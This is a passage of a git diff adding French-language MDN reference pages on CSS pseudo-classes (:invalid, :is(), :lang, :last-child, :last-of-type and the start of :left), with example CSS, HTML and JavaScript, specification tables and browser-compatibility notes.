+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">label {
+  display: block;
+  margin: 1px;
+  padding: 1px;
+}
+
+.field {
+  margin: 1px;
+  padding: 1px;
+}
+
+input:invalid {
+  background-color: #ffdddd;
+}
+
+form:invalid {
+  border: 5px solid #ffdddd;
+}
+
+input:valid {
+  background-color: #ddffdd;
+}
+
+form:valid {
+  border: 5px solid #ddffdd;
+}
+
+input:required {
+  border-color: #800000;
+  border-width: 3px;
+}
+
+input:required:invalid {
+  border-color: #c00000;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div class="field"&gt;
+    &lt;label for="url_input"&gt;Veuillez saisir une URL :&lt;/label&gt;
+    &lt;input type="url" id="url_input"&gt;
+  &lt;/div&gt;
+
+  &lt;div class="field"&gt;
+    &lt;label for="email_input"&gt;Veuillez saisir une adresse électronique :&lt;/label&gt;
+    &lt;input type="email" id="email_input" required&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemple','600',120)}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>La couleur rouge est généralement utilisée afin d'indiquer une valeur invalide. Les personnes ayant du mal à différencier les couleurs ne seront pas capables de déterminer la validité du champ si celui-ci n'est pas accompagné d'un indicateur qui n'est pas basé sur une couleur. Pour résoudre ce problème, on pourra utiliser un texte indicatif et/ou une icône.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Explications des recommendations WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html" rel="noopener">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Notes">Notes</h2>
+
+<h3 id="Boutons_radio">Boutons radio</h3>
+
+<p>Si un quelconque bouton radio dans un groupe (c'est-à-dire, avec la même valeur pour leur attribut <code>name</code>) possède l'attribut <code>required</code> , la pseudo-classe <code>:invalid</code> est appliquée à tous les boutons si aucun d'entre eux n'est sélectionné.</p>
+
+<h3 id="Gestion_dans_Gecko">Gestion dans Gecko</h3>
+
+<p>Par défaut, Gecko n'applique pas de style particulier à la pseudo-classe <code>:invalid</code> . Toutefois un style différent est appliqué (un halo rouge utilisant la propriété {{cssxref("box-shadow")}}) via la pseudo-classe {{cssxref(":-moz-ui-invalid")}}, qui s'applique dans un sous-ensemble des cas de <code>:invalid</code>.</p>
+
+<p>Ce halo peut être désactivé avec les règles suivantes :</p>
+
+<pre class="brush: css">:invalid {
+  box-shadow: none;
+}
+
+:-moz-submit-invalid {
+  box-shadow: none;
+}
+
+:-moz-ui-invalid {
+  box-shadow: none;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#selector-invalid', ':invalid')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', '#selector-invalid', ':invalid')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Définition de la sémantique relative à HTML et aux contraintes de validation.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#validity-pseudos', ':invalid')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.invalid")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":valid")}}</li>
+ <li>{{cssxref(":-moz-submit-invalid")}} et {{cssxref(":-moz-ui-invalid")}}</li>
+ <li>{{cssxref(":required")}}</li>
+ <li>{{cssxref(":optional")}}</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">La validation des données d'un formulaire</a></li>
+ <li><a href="/fr/docs/Web/API/ValidityState">Accéder à l'état de validité en JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_is/index.html b/files/fr/web/css/_colon_is/index.html
new file mode 100644
index 0000000000..0e30e8c34a
--- /dev/null
+++ b/files/fr/web/css/_colon_is/index.html
@@ -0,0 +1,283 @@
+---
+title: ':is() (:matches(), :any())'
+slug: 'Web/CSS/:is'
+tags:
+  - CSS
+  - Experimental
+  - Pseudo-classe
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:is'
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:is()</code></strong> prend comme argument une liste de sélecteurs, et cible tous les éléments sélectionnés par chaque sélecteur de cette liste. Cela permet d'écrire des sélecteurs expansifs de façon plus concise.</p>
+
+<p>La plupart des navigateurs prennent encore en charge cette fonctionnalité via <code>:matches()</code>, ou via la pseudo-classe préfixée — <code>:any()</code> (anciennes versions de Chrome, Firefox et Safari). <code>:any()</code> fonctionne exactement comme <code>:matches()</code> et <code>:is()</code> mais nécessite l'utilisation de préfixes et ne prend pas en charge <a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/Les_sélecteurs">les sélecteurs complexes</a>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> <code>:matches()</code> a été renommé en <code>is()</code> d'après <a href="https://github.com/w3c/csswg-drafts/issues/3258">l'<em>issue</em> 3258 du CSSWG</a>.</p>
+</div>
+
+<pre class="brush: css no-line-numbers">/* Sélectionne n'importe quel paragraphe survolé
+   qui se trouve au sein d'un header, main, ou
+   footer */
+:is(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+/* La notation précédente est équivalente à */
+header p:hover,
+main p:hover,
+footer p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+
+/* La version rétro-compatible avec :-*-any()  */
+:-moz-any(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+:-webkit-any(header, main, footer) p:hover{
+  color: red;
+  cursor: pointer;
+}
+:matches(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_fonctionnant_pour_les_différents_navigateurs">Exemple fonctionnant pour les différents navigateurs</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;header&gt;
+  &lt;p&gt;Voici un paragraphe dans un en-tête.&lt;/p&gt;
+&lt;/header&gt;
+
+&lt;main&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;p&gt;Mon premier élément de&lt;/p&gt;&lt;p&gt;liste&lt;/p&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;p&gt;Mon deuxième élément de&lt;/p&gt;&lt;p&gt;liste&lt;/p&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/main&gt;
+
+&lt;footer&gt;
+  &lt;p&gt;Et un paragraphe de pied de page&lt;/p&gt;
+&lt;/footer&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">:-webkit-any(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+
+:-moz-any(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}
+:is(header, main, footer) p:hover {
+  color: red;
+  cursor: pointer;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">let matchedItems;
+
+try {
+  matchedItems = document.querySelectorAll(':is(header, main, footer) p');
+} catch(e) {
+  try {
+    matchedItems = document.querySelectorAll(':matches(header, main, footer) p');
+  } catch(e) {
+    try {
+      matchedItems = document.querySelectorAll(':-webkit-any(header, main, footer) p');
+    } catch(e) {
+      try {
+        matchedItems = document.querySelectorAll(':-moz-any(header, main, footer) p');
+      } catch(e) {
+        console.log('Votre navigateur ne prend pas en charge :is(), :matches() ou :any()');
+      }
+    }
+  }
+}
+
+for(let i = 0; i &lt; matchedItems.length; i++) {
+  applyHandler(matchedItems[i]);
+}
+
+function applyHandler(elem) {
+  elem.addEventListener('click', function(e) {
+    alert('Ce paragraphe est à l\'intérieur d\'un élément ' + e.target.parentNode.nodeName);
+  });
+}</pre>
+
+<p>{{EmbedLiveSample('Exemple_fonctionnant_pour_les_différents_navigateurs', '100%', '300')}}</p>
+
+<h3 id="Simplifier_les_listes_de_sélecteurs">Simplifier les listes de sélecteurs</h3>
+
+<p>La pseudo-classe <code>:matches()</code> permet de simplifier largement les sélecteurs CSS. Ainsi, la règle suivante :</p>
+
+<pre class="brush: css">/* les listes non ordonnées sur 3 niveaux ou plus */
+/* utilisent un carré comme puce */
+ol ol ul,     ol ul ul,     ol menu ul,     ol dir ul,
+ol ol menu,   ol ul menu,   ol menu menu,   ol dir menu,
+ol ol dir,    ol ul dir,    ol menu dir,    ol dir dir,
+ul ol ul,     ul ul ul,     ul menu ul,     ul dir ul,
+ul ol menu,   ul ul menu,   ul menu menu,   ul dir menu,
+ul ol dir,    ul ul dir,    ul menu dir,    ul dir dir,
+menu ol ul,   menu ul ul,   menu menu ul,   menu dir ul,
+menu ol menu, menu ul menu, menu menu menu, menu dir menu,
+menu ol dir,  menu ul dir,  menu menu dir,  menu dir dir,
+dir ol ul,    dir ul ul,    dir menu ul,    dir dir ul,
+dir ol menu,  dir ul menu,  dir menu menu,  dir dir menu,
+dir ol dir,   dir ul dir,   dir menu dir,   dir dir dir {
+  list-style-type: square;
+}
+</pre>
+
+<p>pourra être remplacée par :</p>
+
+<pre class="brush: css">/* les listes non ordonnées sur 3 niveaux ou plus */
+/* utilisent un carré comme puce */
+:matches(ol, ul, menu, dir) :matches(ol, ul, menu, dir) ul,
+:matches(ol, ul, menu, dir) :matches(ol, ul, menu, dir) menu,
+:matches(ol, ul, menu, dir) :matches(ol, ul, menu, dir) dir {
+  list-style-type: square;
+}</pre>
+
+<p>En revanche, le modèle d'usage suivant n'est pas recommandée (cf. <a href="#Issues_with_performance_and_specificity">la section qui suit sur les performances</a>) :</p>
+
+<pre class="brush: css">:matches(ol, ul, menu, dir) :matches(ol, ul, menu, dir) :matches(ul, menu, dir) {
+  list-style-type: square;
+}</pre>
+
+<h3 id="Notes" name="Notes">Simplifier les sélecteurs de section</h3>
+
+<p>La pseudo-classe <code>:matches</code> est particulièrement utile lorsqu'on manipule les <a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">sections et en-têtes</a> HTML5. {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}} et {{HTMLElement("nav")}} étant souvent imbriqués les uns dans les autres, les mettre en forme (sans <code>:matches()</code>) s'avèrerait plutôt compliqué.</p>
+
+<p>Par exemple, pour mettre en forme les éléments {{HTMLElement("h1")}} à différents niveaux sans utiliser <code>:matches()</code>, on obtient ces règles plutôt compliquées :</p>
+
+<pre class="brush: css">/* Niveau 0 */
+h1 {
+  font-size: 30px;
+}
+/* Niveau 1 */
+section h1, article h1, aside h1, nav h1 {
+  font-size: 25px;
+}
+/* Niveau 2 */
+section section h1, section article h1, section aside h1, section nav h1,
+article section h1, article article h1, article aside h1, article nav h1,
+aside section h1, aside article h1, aside aside h1, aside nav h1,
+nav section h1, nav article h1, nav aside h1, nav nav h1 {
+  font-size: 20px;
+}
+/* Niveau 3 */
+/* … j'ai abandonné */
+</pre>
+
+<p>Avec <code>:is()</code>, c'est plus simple :</p>
+
+<pre class="brush: css">/* Niveau 0 */
+h1 {
+  font-size: 30px;
+}
+/* Niveau 1 */
+:is(section, article, aside, nav) h1 {
+  font-size: 25px;
+}
+/* Niveau 2 */
+:is(section, article, aside, nav)
+:is(section, article, aside, nav) h1 {
+  font-size: 20px;
+}
+/* Niveau 3 */
+:is(section, article, aside, nav)
+:is(section, article, aside, nav)
+:is(section, article, aside, nav) h1 {
+  font-size: 15px;
+}</pre>
+
+<h3 id="Éviter_linvalidation_dune_liste_de_sélecteur">Éviter l'invalidation d'une liste de sélecteur</h3>
+
+<p>À la différence des listes de sélecteurs, la pseudo-classe <code>:is()</code> ne devient pas invalide lorsqu'un des sélecteurs passés en argument n'est pas pris en charge par le navigateur.</p>
+
+<pre class="brush: css">:is(:valid, :incompatible) {
+  ...
+}
+</pre>
+
+<p>Le sélecteur ci-dessus sera analysé sans problème et permettra de cibler <code>:valid</code> même si les navigateurs ne prennent pas en charge le sélecteur <code>:incompatible</code>. En revanche :</p>
+
+<pre class="brush: css">:valid, :incompatible {
+  ...
+}</pre>
+
+<p>L'exemple ci-dessus ne sera pas appliqué par les navigateurs qui ne prennent pas en charge <code>:incompatible</code>, même si <code>:valid</code> est bien pris en charge.</p>
+
+<h2 id="Notes_2">Notes</h2>
+
+<h3 id="Issues_with_performance_and_specificity" name="Issues_with_performance_and_specificity">Problèmes de performances avec <code>any():</code> et la spécificité</h3>
+
+<p>{{Bug(561154)}} suit un problème de spécificité relatif à <code>:-moz-any()</code>. L'implémentation  place <code>:-moz-any()</code> dans la catégorie des règles universelles, ce qui signifie que si on l'utilise comme sélecteur le plus à droite, ce sera plus lent que d'utiliser un sélecteur d'identifiant, de classe ou de balise comme premier sélecteur.</p>
+
+<p>Ainsi :</p>
+
+<pre class="brush: css">.a &gt; :-moz-any(.b, .c)
+</pre>
+
+<p>sera plus lent que</p>
+
+<pre class="brush: css">.a &gt; .b, .a &gt; .c
+</pre>
+
+<p>et cette dernière version sera plus rapide :</p>
+
+<pre class="brush: css">:-moz-any(.a, .d) &gt; .b, :-moz-any(.a, .d) &gt; .c</pre>
+
+<p><code>:is()</code> doit permettre de corriger de tels problèmes.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#matches-pseudo", ":is()")}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.selectors.is")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef(":where", ":where()")}} {{Experimental_Inline}} - se comporte comme <code>is()</code>, avec une spécificité nulle</li>
+ <li><a href="/fr/docs/Web/Web_Components">Les composants web</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_lang/index.html b/files/fr/web/css/_colon_lang/index.html
new file mode 100644
index 0000000000..0d4b2d406a
--- /dev/null
+++ b/files/fr/web/css/_colon_lang/index.html
@@ -0,0 +1,133 @@
+---
+title: ':lang'
+slug: 'Web/CSS/:lang'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:lang'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <code><strong>:lang</strong></code> permet de définir la mise en forme d'un élément selon la langue dans laquelle il est écrit.</p>
+
+<pre class="brush: css no-line-numbers">/* Correspond aux paragraphes, uniquement si ceux-ci */
+/* sont indiqués comme étant en anglais (en) */
+p:lang(en) {
+  quotes: '\201C' '\201D' '\2018' '\2019';
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> En HTML, la langue d'un élément est déterminée par l'attribut {{htmlattrxref("lang")}}, l'élément {{HTMLElement("meta")}} et d'autres informations comme les en-têtes HTTP ; pour les autres types de documents, d'autres méthodes peuvent être utilisées.</p>
+
+<p>Les chaînes de caractères admissibles pour définir des langues sont définies dans la spécification HTML 4.0.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<dl>
+ <dt><code>language-code</code></dt>
+ <dd>La chaîne de caractères ({{cssxref("&lt;string&gt;")}}) qui définit la langue des éléments qu'on veut sélectionner.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, la pseudo-classe <code>:lang</code> est utilisée pour faire correspondre le parent d'une citation en utilisant {{cssxref(":first-child")}}. Il ne s'agit pas de la seule solution pour ce type de problème, ni même de la meilleure (qui dépendra du type de document). Les valeurs Unicode sont utilisées pour certains caractères spéciaux de citation.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">:lang(fr) &gt; Q {
+  quotes: '« ' ' »';
+}
+
+:lang(de) &gt; Q {
+  quotes: '»' '«' '\2039' '\203A';
+}
+
+:lang(en) &gt; Q {
+  quotes: '\201C' '\201D' '\2018' '\2019';
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div lang="fr"&gt;
+  &lt;q&gt;
+    Cette citation française a
+      &lt;q&gt;une citation&lt;/q&gt;
+    imbriquée.
+  &lt;/q&gt;
+&lt;/div&gt;
+
+&lt;div lang="de"&gt;
+  &lt;q&gt;
+    Cette citation allemande a
+      &lt;q&gt;une citation&lt;/q&gt;
+    imbriquée.
+  &lt;/q&gt;
+&lt;/div&gt;
+
+&lt;div lang="en"&gt;
+  &lt;q&gt;
+    Cette citation anglaise a
+      &lt;q&gt;une citation&lt;/q&gt;
+    imbriquée.
+  &lt;/q&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemple', '350')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#lang-pseudo', ':lang()')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Ajout du <em>joker</em> pour correspondre à toutes les langues. Ajout des listes de langues séparées par des virgules.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#lang-pseudo', ':lang()')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#lang', ':lang()')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.lang")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":dir")}}</li>
+ <li>L'attribut HTML {{htmlattrxref("lang")}}</li>
+ <li><a href="/fr/docs/Web/API/HTMLElement/lang">Propriété <code>lang</code> du DOM</a></li>
+ <li><a href="https://www.w3.org/TR/REC-html40/struct/dirlang.html#h-8.1.1">Les codes de langues selon W3C HTML4 (en anglais)</a></li>
+ <li><a href="https://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-59132807">L'attribut <code>lang</code> selon W3C DOM Level 2 HTML (en anglais)</a></li>
+ <li><a href="https://tools.ietf.org/html/bcp47">Les codes de langues BCP 47</a></li>
+</ul>
diff --git a/files/fr/web/css/_colon_last-child/index.html b/files/fr/web/css/_colon_last-child/index.html
new file mode 100644
index 0000000000..a8ef3b516b
--- /dev/null
+++ b/files/fr/web/css/_colon_last-child/index.html
@@ -0,0 +1,87 @@
+---
+title: ':last-child'
+slug: 'Web/CSS/:last-child'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:last-child'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:last-child</code></strong> permet de cibler un élément qui est le dernier enfant de son parent.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible n'importe quel élément &lt;li&gt; tant que    */
+/* celui-ci est le dernier enfant de son élément */
+/* parent */
+li:last-child {
+  background-color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> En CSS3, l'élément ciblé devait avoir un élément parent, cette restriction a été levée en CSS4.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">li:last-child {
+  background-color: lime;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+   &lt;li&gt;Cet élément n'est pas vert !&lt;/li&gt;
+   &lt;li&gt;Celui-ci est vert.&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', '100%', 100)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#last-child', ':last-child')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Il n'est plus obligatoire que l'élément ciblé ait un parent.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#last-child', ':last-child')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.last-child")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":first-child")}}</li>
+ <li>{{cssxref(":nth-child")}}</li>
+ <li>{{cssxref(":last-of-type")}}</li>
+ <li>{{CSSxRef(":-moz-last-node")}} {{Non-standard_Inline}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_last-of-type/index.html b/files/fr/web/css/_colon_last-of-type/index.html
new file mode 100644
index 0000000000..618d0fa6a4
--- /dev/null
+++ b/files/fr/web/css/_colon_last-of-type/index.html
@@ -0,0 +1,102 @@
+---
+title: ':last-of-type'
+slug: 'Web/CSS/:last-of-type'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:last-of-type'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <strong><code>:last-of-type</code></strong> cible un élément qui est le dernier enfant d'un type donné dans la liste des enfants de l'élément parent.</p>
+
+<pre class="brush: css no-line-numbers">/* Cible n'importe quel paragraphe qui est     */
+/* le dernier paragraphe de son élément parent */
+p:last-of-type {
+  color: lime;
+}</pre>
+
+<div class="note">
+<p><strong>Note : </strong>Dans la version initiale de la spécification (CSS3), l'élément ciblé devait avoir un parent, ce n'est plus nécessaire depuis (spécification pour les sélecteurs de CSS4).</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Pour cibler le dernier élément {{HTMLElement("em")}} au sein d'un élément {{HTMLElement("p")}}, on pourra utiliser la règle qui suit (illustrée ensuite sur un fragment HTML).</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p em:last-of-type {
+  color: lime;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  &lt;em&gt;Je ne suis pas vert :(&lt;/em&gt;
+  &lt;strong&gt;Je ne suis pas vert :(&lt;/strong&gt;
+  &lt;em&gt;Je suis vert :D&lt;/em&gt;
+  &lt;strong&gt;Je ne suis pas vert non plus :(&lt;/strong&gt;
+&lt;/p&gt;
+
+&lt;p&gt;
+  &lt;em&gt;Je ne suis pas vert :(&lt;/em&gt;
+  &lt;span&gt;
+    &lt;em&gt;Je suis vert !&lt;/em&gt;
+  &lt;/span&gt;
+  &lt;strong&gt;Je ne suis pas vert :(&lt;/strong&gt;
+  &lt;em&gt;Je suis vert :D&lt;/em&gt;
+  &lt;span&gt;
+    &lt;em&gt;Je suis aussi vert !&lt;/em&gt;
+    &lt;strike&gt;Je ne suis pas vert&lt;/strike&gt;
+  &lt;/span&gt;
+  &lt;strong&gt;Je ne suis pas vert non plus :(&lt;/strong&gt;
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<div>{{EmbedLiveSample('Exemples','100%', '120')}}</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#last-of-type-pseudo', ':last-of-type')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>L'élément ciblé ne doit pas nécessairement avoir un élément parent.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#last-of-type-pseudo', ':last-of-type')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.selectors.last-of-type")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref(":nth-last-of-type")}}</li>
+ <li>{{cssxref(":first-of-type")}}</li>
+ <li>{{cssxref(":last-child")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_left/index.html b/files/fr/web/css/_colon_left/index.html
new file mode 100644
index 0000000000..9af8051ca3
--- /dev/null
+++ b/files/fr/web/css/_colon_left/index.html
@@ -0,0 +1,72 @@
+---
+title: ':left'
+slug: 'Web/CSS/:left'
+tags:
+  - CSS
+  - Pseudo-classe
+  - Reference
+  - Web
+translation_of: 'Web/CSS/:left'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classe</a> <code><strong>:left</strong></code>, liée à la règle {{cssxref("@page")}}, permet de cibler les pages de gauche lors d'une impression. Ceci permet de mettre en forme spécifiquement les pages de gauche.</p>
+
+<pre class="brush: css no-line-numbers">/* Sélectionne le contenu des pages gauches */
+/* lors de l'impression */
+@page :left {
+  margin: 2in 3in;
+}</pre>
+
+<p>La position de la page soit à gauche ou à droite dépend de la direction d'écriture globale du document. Par exemple, si la première page est selon la direction « gauche à droite » alors elle sera une page {{cssxref(":right")}}, si elle est définie de « droite à gauche » ce sera une page <code>:left</code>.</p>
+
+<div class="note"><strong>Note :</strong> Il n'est pas possible de changer toutes les propriétés CSS. Seules les propriétés {{cssxref("margin")}}, {{cssxref("padding")}}, {{cssxref("border")}} et {{cssxref("background")}} de <strong>la boîte correspondant à la page</strong> peuvent être modifiées. Toutes les autres propriétés CSS seront ignorées. Seule la boîte correspondant à la page pourra être affectée, le contenu du document ne pourra pas être modifié.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@page :left {
+  margin: 2cm 3cm;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
